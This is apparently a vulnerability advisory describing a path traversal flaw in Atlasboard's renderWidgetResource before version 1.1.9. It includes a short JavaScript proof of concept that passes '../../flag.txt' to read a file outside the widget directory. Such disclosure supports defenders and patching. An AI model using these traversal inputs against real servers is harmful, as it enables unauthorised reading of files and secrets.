Summary: Path traversal in atlasboard

Details: The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability. ### PoC ```javascript const widget = require(\"atlasboard/lib/webapp/routes/widget\"); // Mock req and res const req = {}; const res = { sendFile: (filePath) => { // Read and return file contents synchronously const data = fs.readFileSync(filePath, \"utf8\"); console.log(\"Contents of /flag.txt:\"); console.log(data); }, status: function (code) { this.statusCode = code; return this; }, send: function (msg) { throw new Error(`Server responded with status ${this.statusCode}: ${msg}`); }, }; // localPackagesPath set to root to allow traversal to /flag.txt const localPackagesPath = \"/\"; // resource string with path traversal to escape localPackagesPath and widgets directory const resource = \"../../flag.txt\"; // Call vulnerable function await widget.renderWidgetResource(localPackagesPath, resource, req, res); ```
